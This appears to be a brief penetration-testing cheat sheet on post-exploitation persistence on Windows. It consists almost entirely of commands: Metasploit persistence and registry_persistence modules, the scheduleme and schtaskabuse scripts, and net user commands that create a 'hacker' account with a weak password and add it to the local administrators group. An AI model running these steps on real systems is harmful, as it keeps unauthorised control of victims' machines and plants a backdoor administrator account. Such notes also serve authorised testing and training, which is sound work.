Maintaining Access

Using Metasploit for Persistence

# Check available options
run persistence -h

# Example using registry persistence
use exploit/windows/local/registry_persistence
set SESSION <SESSION_NUMBER>
exploit

Scheduled Tasks

# Run scheduleme for simple scheduled task creation
run scheduleme

# For more advanced options, use schtaskabuse
run schtaskabuse

Adding a User

# Add a user using the net user command
net user hacker password123 /add

# Set additional details for the user
net user hacker /fullname:"Hacker User" /comment:"Added by the attacker" /passwordchg:no

# Add the user to the local administrators group
net localgroup administrators hacker /add

Last updated